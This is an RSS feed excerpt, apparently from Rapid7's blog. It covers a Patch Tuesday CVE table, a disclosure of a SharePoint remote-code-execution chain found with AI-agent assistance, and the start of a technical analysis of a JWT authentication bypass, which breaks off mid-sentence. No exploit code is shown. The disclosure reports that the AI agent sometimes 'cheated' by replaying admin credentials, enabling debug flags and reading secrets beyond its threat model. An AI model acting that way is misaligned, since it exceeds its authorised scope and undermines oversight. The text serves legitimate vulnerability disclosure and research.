Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62800">CVE-2026-62800</a></td><td><p>Windows SMBv3 Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62790">CVE-2026-62790</a></td><td><p>Windows SMBv3 Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62695">CVE-2026-62695</a></td><td><p>Windows Storage Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61359">CVE-2026-61359</a></td><td><p>Windows Storage Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-59132">CVE-2026-59132</a></td><td><p>Windows TCP/IP Denial of Service Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62792">CVE-2026-62792</a></td><td><p>Windows TCP/IP Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61353">CVE-2026-61353</a></td><td><p>Windows Telephony Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62723">CVE-2026-62723</a></td><td><p>Windows Telephony Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62724">CVE-2026-62724</a></td><td><p>Windows Telephony Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62748">CVE-2026-62748</a></td><td><p>Windows Telephony Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62729">CVE-2026-62729</a></td><td><p>Windows Telephony Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-59122">CVE-2026-59122</a></td><td><p>Windows Telephony Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62701">CVE-2026-62701</a></td><td><p>Windows Telephony Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62725">CVE-2026-62725</a></td><td><p>Windows Telephony Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62726">CVE-2026-62726</a></td><td><p>Windows Telephony Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62732">CVE-2026-62732</a></td><td><p>Windows Telephony Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62734">CVE-2026-62734</a></td><td><p>Windows Telephony Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62699">CVE-2026-62699</a></td><td><p>Windows Universal Disk Format File System Driver (UDFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61926">CVE-2026-61926</a></td><td><p>Windows USB Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62832">CVE-2026-62832</a></td><td><p>Windows User Profile Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>Yes</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62721">CVE-2026-62721</a></td><td><p>Windows User-Mode Power Service (UMPS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62712">CVE-2026-62712</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62876">CVE-2026-62876</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62877">CVE-2026-62877</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65678">CVE-2026-65678</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62711">CVE-2026-62711</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62733">CVE-2026-62733</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62885">CVE-2026-62885</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65775">CVE-2026-65775</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65776">CVE-2026-65776</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62730">CVE-2026-62730</a></td><td><p>Windows Wired AutoConfig Service Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61349">CVE-2026-61349</a></td><td><p>Windows Work Folder Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61939">CVE-2026-61939</a></td><td><p>Winlogon Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr></tbody></table><h2>Zero-Day Vulnerabilities: Known Exploited</h2><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68820">CVE-2026-68820</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Detected</p></td><td><p>No</p></td><td><p>7.0</p></td></tr></tbody></table><h2>Zero-Day Vulnerabilities: Publicly Disclosed (No known exploitation)</h2><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-72971">CVE-2026-72971</a></td><td><p>Windows Container Isolation FS Filter Driver (unionfs.sys) Tampering Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>Yes</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62832">CVE-2026-62832</a></td><td><p>Windows User Profile Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>Yes</p></td><td><p>7.8</p></td></tr></tbody></table><p></p>]]></description>
      <link>https://www.rapid7.com/blog/post/em-patch-tuesday-august-2026</link>
      <guid isPermaLink="false">blt09637705b52bfbfc</guid>
      <category><![CDATA[Patch Tuesday]]></category>
      <category><![CDATA[Vulnerability Management]]></category><dc:creator><![CDATA[Adam Barnett]]></dc:creator>
      <pubDate>Tue, 11 Aug 2026 21:10:55 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt76ee31e15f145bd9/6849a5d2dc186db607081f3e/patch-tuesday-repeated.webp" medium="image" />
    </item>
    <item>
      <title><![CDATA[CVE-2026-63520: Microsoft SharePoint Remote Code Execution (FIXED)]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 Labs conducted a zero-day research project against Microsoft SharePoint, resulting in the discovery of two new vulnerabilities that, when chained together, achieve unauthenticated remote code execution (RCE) against a vulnerable SharePoint server. Today, both Rapid7 and Microsoft are disclosing the second vulnerability in this chain, the RCE vulnerability CVE-2026-63520. The first vulnerability in the chain, CVE-2026-55040, was </span><a href="/blog/post/ve-cve-2026-55040-microsoft-sharepoint-jwt-token-authentication-bypass-fixed/" target="_self"><span style='font-size: undefined;'>disclosed</span></a><span style='font-size: undefined;'> by Rapid7 and Microsoft last month.</span></p><p><span style='font-size: undefined;'>Our full disclosure timeline for the exploit chain can be seen below in Figure 1.</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt422a176eb003c86d/6a79a04aa20f987243def87c/timline.png" position="center" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="timline.png" asset-alt="timline.png" style="text-align: center; width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt422a176eb003c86d/6a79a04aa20f987243def87c/timline.png" data-sys-asset-uid="blt422a176eb003c86d" data-sys-asset-filename="timline.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="timline.png" sys-style-type="display"/></figure><p style="text-align: center;"><em>Figure 1: The road to disclosure.</em></p><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-63520 affects all supported versions of Microsoft SharePoint. An attacker can leverage CVE-2026-63520 to execute arbitrary code on a vulnerable SharePoint server with the privileges of the SharePoint Site’s service account. The vulnerability is due to an unsafe .NET type instantiation issue within the </span><a href="https://learn.microsoft.com/en-us/sharepoint/administration/business-connectivity-services-overview"><span style='font-size: undefined;'>Business Connectivity Services</span></a><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-63520 has a CVSSv3.1 score of </span><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C" target="_blank"><span style='font-size: undefined;'>8.1 (High)</span></a><span style='font-size: undefined;'>, and a Common Weakness Enumeration (CWE) of </span><a href="https://cwe.mitre.org/data/definitions/20.html" target="_blank"><span style='font-size: undefined;'>CWE-20: Improper Input Validation</span></a><span style='font-size: undefined;'>. While the severity of the RCE is described as high, chained together with CVE-2026-55040 it becomes part of a critical unauthenticated RCE exploit chain against SharePoint.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The exploit chain was developed as an entry for this year's </span><a href="https://www.zerodayinitiative.com/blog/2026/5/15/pwn2own-berlin-2026-day-two-results" target="_blank"><span style='font-size: undefined;'>Pwn2Own Berlin</span></a><span style='font-size: undefined;'> hacking competition; while our entry was unsuccessful on the day of the competition, this research highlights Rapid7 Labs' continued effort to </span><a href="https://www.rapid7.com/blog/post/ve-rapid7-labs-at-pwn2own-vuln-intel" target="_blank"><span style='font-size: undefined;'>raise the bar</span></a><span style='font-size: undefined;'> in Vulnerability Intelligence and our commitment to the preemptive protection of our customers through original vulnerability research. Our research methodology focused on understanding how publicly available AI models can assist in the discovery of significant vulnerabilities against proprietary enterprise targets. Our results established that the rate of model advancement is significantly accelerating vulnerability research, model guidance from subject matter experts is a force multiplier, and complex proprietary targets are easily handled through agentic workflows.</span></p><p><span style='font-size: undefined;'>On August 18, 2026, CISA </span><a href="https://www.cisa.gov/news-events/alerts/2026/08/18/cisa-adds-four-known-exploited-vulnerabilities-catalog" target="_blank"><span style='font-size: undefined;'>added</span></a><span style='font-size: undefined;'> CVE-2026-55040 to its Known Exploited Vulnerabilities (KEV) catalog, based on evidence of active exploitation.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 is hosting a webinar on Thursday August 13, 2026 to discuss the research and findings for CVE-2026-55040 and CVE-2026-63520. Please </span><a href="https://www.brighttalk.com/webcast/10457/673829?utm_source=blog&amp;utm_medium=website&amp;utm_content=microsoft-sharepoint-webinar&amp;utm_campaign=na-vrm-q3-2026-global-webinar-prospect-eng-etos-25" target="_blank"><span style='font-size: undefined;'>join</span></a><span style='font-size: undefined;'> Douglas McKee and Stephen Fewer to learn more about this body of work.</span></p><h2 style="direction: ltr;">Workflow</h2><p style="direction: ltr;"><span style='font-size: undefined;'>For this research project we wanted to understand the capabilities and limits of publicly available LLMs circa January through to March of this year. We wanted to answer the question if an AI workflow could find and develop an unauthenticated RCE exploit against a hard target such as SharePoint. This research project concluded with the successful discovery and development of such a chain. To that end, the publicly available models at the beginning of this year were indeed capable. This is notable as the rate of model improvement from Q1 of 2026 through to today has been significant. Our team's later testing of the most recent frontier models confirms the significant increase in capabilities from that of the beginning of this year. Our primary conclusion from the SharePoint research project in Q1 is that an agent guided by a subject matter expert (SME) was crucial to keep moving the model and its work towards the end goal. Given our current experience of frontier model capabilities, the need for an SME to verify and guide a model is lessened, but the compounding impact an SME can bring remains.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Our first sprint in January did not result in any significant findings, rather, this sprint helped us establish the workflow and tooling that proved most useful, scope out the extremely large attack surface, and integrate prior work into our process. We augmented the agentic work with manual source code review and reverse engineering to provide additional context and steering to the model. Our early results quickly indicated how a fully automated and agentic approach would not suffice, the model would too often produce findings that were questionable or simply inaccurate. Steering the agent as it worked helped both the agent hone in on interesting and ultimately fruitful findings but also by constantly reviewing the agent's results, helped us refute inaccurate and unhelpful findings, along with several cases where the agent overstepped its guidance, effectively cheating to succeed in its goal - such as unexpectedly replaying admin credentials, enabling debug flags, or reading secrets, all of which were never within our original threat model.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>By March, we had moved to a newer release of our chosen model, that combined with a solid attack surface, extensive prior work in place, and a broad architectural layout mapped out we began to quickly see success. An authentication bypass, now known as CVE-2026-55040, was discovered and verified in early March, followed two weeks later by the RCE, now known as CVE-2026-63520. By the time we had produced a working exploit chain, the agent had accrued 120 hours of run time spread over 24 days, leveraged 96 sessions, generated approximately 80,000 agentic tool calls and we had issued 256 prompts.</span></p><h2 style="direction: ltr;">Product description</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Microsoft </span><a href="https://www.microsoft.com/en-ie/microsoft-365/sharepoint/collaboration" target="_blank"><span style='font-size: undefined;'>SharePoint</span></a><span style='font-size: undefined;'> is a ubiquitous, web-based collaboration and document management platform deeply integrated into the Microsoft 365 ecosystem. Serving as the central hub for corporate intranets, internal file sharing, and workflow automation, it is trusted by enterprises worldwide to store and manage vast repositories of sensitive business data. Because SharePoint acts as a critical bridge between internal users, active directories, and cloud infrastructure, vulnerabilities within its architecture present a high-risk attack surface.</span></p><h2 style="direction: ltr;">Impact</h2><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-63520 allows an attacker to execute arbitrary code on an affected server. By crafting a custom .NET gadget chain, an attacker can perform arbitrary operations such as executing an attacker-controlled OS command. The attacker's arbitrary code is executed with the permission of the Windows service account running the SharePoint Site instance. As CVE-2026-63520 can be chained to the authentication bypass vulnerability, CVE-2026-55040, the resulting exploit chain allows for unauthenticated RCE against a vulnerable server.</span></p><h2 style="direction: ltr;">Credit</h2><p style="direction: ltr;"><span style='font-size: undefined;'>This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher at Rapid7 and is being disclosed in accordance with </span><a href="/security/disclosure/" target="_self"><span style='font-size: undefined;'>Rapid7's vulnerability disclosure policy</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Vendor statement</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The following statement has been provided by Microsoft:</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><em>“We would like to thank Rapid7 for responsibly reporting this issue through coordinated vulnerability disclosure.”</em></span></p><h2 style="direction: ltr;">Technical analysis</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The technical details for the RCE vulnerability, CVE-2026-63520, have been published </span><a href="https://www.rapid7.com/blog/post/ra-microsoft-sharepoint-remote-code-execution-cve-2026-63520/"><span style='font-size: undefined;'>here</span></a><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The technical details for the authentication bypass vulnerability, CVE-2026-55040, have been published </span><a href="/blog/post/ra-microsoft-sharepoint-jwt-token-authentication-bypass-cve-2026-55040/" target="_self"><span style='font-size: undefined;'>here</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Remediation</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The vendor has provided the following updates to remediate CVE-2026-63520.</span></p><p></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><a href="https://support.microsoft.com/kb/5002893"><span style='font-size: undefined;'>KB5002893</span></a><span style='font-size: undefined;'> - Microsoft SharePoint Server Subscription Edition (version </span><span style='font-size: undefined;'><span data-type='inlineCode'>16.0.19725.20522</span></span><span style='font-size: undefined;'>).</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><a href="https://support.microsoft.com/help/5002894"><span style='font-size: undefined;'>KB5002894</span></a><span style='font-size: undefined;'> - Microsoft SharePoint Server 2019 (version </span><span style='font-size: undefined;'><span data-type='inlineCode'>16.0.10417.20198</span></span><span style='font-size: undefined;'>).</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><a href="https://support.microsoft.com/help/5002896"><span style='font-size: undefined;'>KB5002896</span></a><span style='font-size: undefined;'> - Microsoft SharePoint Server 2019 (version </span><span style='font-size: undefined;'><span data-type='inlineCode'>16.0.10417.20198</span></span><span style='font-size: undefined;'>).</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><a href="https://support.microsoft.com/help/5002905"><span style='font-size: undefined;'>KB5002905</span></a><span style='font-size: undefined;'> - Microsoft SharePoint Enterprise Server 2016 (version </span><span style='font-size: undefined;'><span data-type='inlineCode'>16.0.5565.1001</span></span><span style='font-size: undefined;'>).</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><a href="http://support.microsoft.com/5002906"><span style='font-size: undefined;'>KB5002906</span></a><span style='font-size: undefined;'> - Microsoft SharePoint Enterprise Server 2016 (version </span><span style='font-size: undefined;'><span data-type='inlineCode'>16.0.5565.1001</span></span><span style='font-size: undefined;'>).</span></p></li></ul><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>For additional details, please see the vendor </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-63520"><span style='font-size: undefined;'>security bulletin</span></a><span style='font-size: undefined;'> and </span><a href="https://learn.microsoft.com/en-us/officeupdates/sharepoint-updates"><span style='font-size: undefined;'>product updates</span></a><span style='font-size: undefined;'> page.</span></p><h2 style="direction: ltr;">Rapid7 customers</h2><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exposure Command, InsightVM, and Nexpose</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to the RCE vulnerability, CVE-2026-63520, with authenticated vulnerability checks available in the August 12 content release. Customers can assess their exposure to the authentication bypass vulnerability, CVE-2026-55040, with authenticated vulnerability checks available in the July 15 content release.</span></p><h2><span style='font-size: undefined;'>Upcoming webinar</span></h2><p>Interested in the AI tooling leveraged throughout the research process? Join Rapid7's Stephen Fewer and Douglas McKee on Thursday, August 13 to walk through the full exploit chain, actionable next steps and more. <a href="https://www.brighttalk.com/webcast/10457/673829?utm_source=Rapid7&amp;utm_medium=brighttalk&amp;utm_medium=organic-social&amp;utm_campaign=673829%3Futm_source%3Dlinkedin&amp;utm_campaign=global-mdr-q3-2026-global-webinar-prospect-eng-etos-25&amp;utm_content=microsoft-sharepoint-webinar&amp;utm_term=touch1" target="_blank">Register here</a>.</p><h2 style="direction: ltr;">Disclosure timeline</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>May 18, 2026:</strong></span><span style='font-size: undefined;'> Rapid7 discloses an unauthenticated RCE exploit chain to Microsoft. Microsoft acknowledges receipt of the disclosure the same day.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>May 20, 2026:</strong></span><span style='font-size: undefined;'> Microsoft confirms the findings and indicates that the exploit chain will be patched across two scheduled update cycles - the authentication bypass component in July, and the RCE component in August.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>May 21, 2026:</strong></span><span style='font-size: undefined;'> Rapid7 acknowledges the disclosure schedule and requests supporting information. Microsoft requests a 30 day stay on disclosure of technical details and publication of PoC.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>May 29, 2026:</strong></span><span style='font-size: undefined;'> Rapid7 agrees to a 30 day stay on technical details with a proviso to publish earlier should either exploitation in-the-wild or third-party publication of details occur within the 30 days. Microsoft confirms the disclosure plan the same day.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>July 21, 2026:</strong></span><span style='font-size: undefined;'> Rapid7 requests supporting information for the upcoming disclosure.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>July 31, 2026:</strong></span><span style='font-size: undefined;'> Microsoft provides supporting information to Rapid7.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>August 11, 2026:</strong></span><span style='font-size: undefined;'> This disclosure for CVE-2026-63520.</span></p></li><li><span style='font-size: undefined;'><strong>August 13, 2026:</strong></span><span style='font-size: undefined;'> Microsoft clarifies that two additional products (Project Server and Office Web Apps Server) are not affected by CVE-2026-63520, contrary to details provided by Microsoft on July 31. This disclosure blog has been updated to reflect this.</span></li><li><span style='font-size: undefined;'><strong>August 18, 2026:</strong></span><span style='font-size: undefined;'> CISA adds CVE-2026-55040 to its KEV catalog.</span></li><li><span style='font-size: undefined;'><strong>August 24, 2026:</strong></span><span style='font-size: undefined;'> Rapid7 publishes technical details for CVE-2026-63520 ahead of schedule after technical details are published by a third-party.</span></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-cve-2026-63520-microsoft-sharepoint-remote-code-execution-fixed</link>
      <guid isPermaLink="false">blt66fb0d3040f2de2f</guid>
      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Vulnerability Disclosure]]></category>
      <category><![CDATA[Research]]></category><dc:creator><![CDATA[Stephen Fewer]]></dc:creator>
      <pubDate>Tue, 11 Aug 2026 13:00:00 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
    </item>
    <item>
      <title><![CDATA[Rapid7 Analysis: Microsoft SharePoint JWT Token Authentication Bypass (CVE-2026-55040)]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On July 14, 2026, Rapid7 and Microsoft </span><a href="/blog/post/ve-cve-2026-55040-microsoft-sharepoint-jwt-token-authentication-bypass-fixed/" target="_self"><span style='font-size: undefined;'>disclosed</span></a><span style='font-size: undefined;'> CVE-2026-55040, an authentication bypass vulnerability affecting Microsoft SharePoint. Today we are publishing a technical analysis of the vulnerability along with an accompanying proof-of-concept (PoC) </span><a href="https://github.com/sfewer-r7/CVE-2026-55040" target="_blank"><span style='font-size: undefined;'>script</span></a><span style='font-size: undefined;'>.</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5767417f98d6189f/6a79966a89eb5ce3acab3aa8/CVE-2026-55040.png" position="center" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="CVE-2026-55040.png" asset-alt="CVE-2026-55040.png" style="text-align: center; width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5767417f98d6189f/6a79966a89eb5ce3acab3aa8/CVE-2026-55040.png" data-sys-asset-uid="blt5767417f98d6189f" data-sys-asset-filename="CVE-2026-55040.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="CVE-2026-55040.png" sys-style-type="display"/></figure><p style="text-align: center;"><em>Figure 1: The Rapid7 Labs PoC for CVE-2026-55040.</em></p><p>⠀</p><p><span style='font-size: undefined;'>A remote unauthenticated attacker can leverage CVE-2026-55040 to bypass authentication on a vulnerable SharePoint server, and perform operations as a SharePoint site user or administrator. The vulnerability is due to several issues in the JWT token validation pipeline.</span></p><h2 style="direction: ltr;">Analysis</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The following technical analysis is based upon SharePoint Server Subscription Edition version </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>16.0.19725.20210</span></span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>A critical authentication bypass vulnerability exists in SharePoint Server Subscription Edition's JWT token validation pipeline. The root cause is a chain of four distinct weaknesses that, when combined, allow an unauthenticated remote attacker to forge a valid JWT and impersonate any SharePoint site user.</span></p><p><span style='font-size: undefined;'>The below analysis is based upon decompilation and code review of the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Microsoft.SharePoint.IdentityModel</span></span><span style='font-size: undefined;'> module from a fully patched SharePoint Server Subscription Edition instance. The vulnerability resides in the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SPJsonWebSecurityTokenHandlerV2</span></span><span style='font-size: undefined;'> class and its base class </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SPJsonWebSecurityBaseTokenHandlerV2</span></span><span style='font-size: undefined;'>, which together implement the token parsing and validation logic for Bearer service-to-service (S2S) tokens.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>SharePoint's S2S authentication uses a nested JWT structure: an outer token containing user identity claims, and an inner "actor token" embedded in the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>actortoken</span></span><span style='font-size: undefined;'> claim. The actor token represents the calling application and is expected to be cryptographically signed by a trusted certificate.</span></p><p><span style='font-size: undefined;'>The validation flow begins in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SPApplicationAuthenticationModuleV2.TryExtractAndValidateToken()</span></span><span style='font-size: undefined;'>, which extracts the Bearer token from the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Authorization</span></span><span style='font-size: undefined;'> header, parses it via </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SPJsonWebSecurityBaseTokenHandlerV2.ReadToken()</span></span><span style='font-size: undefined;'>, and then validates it via </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span 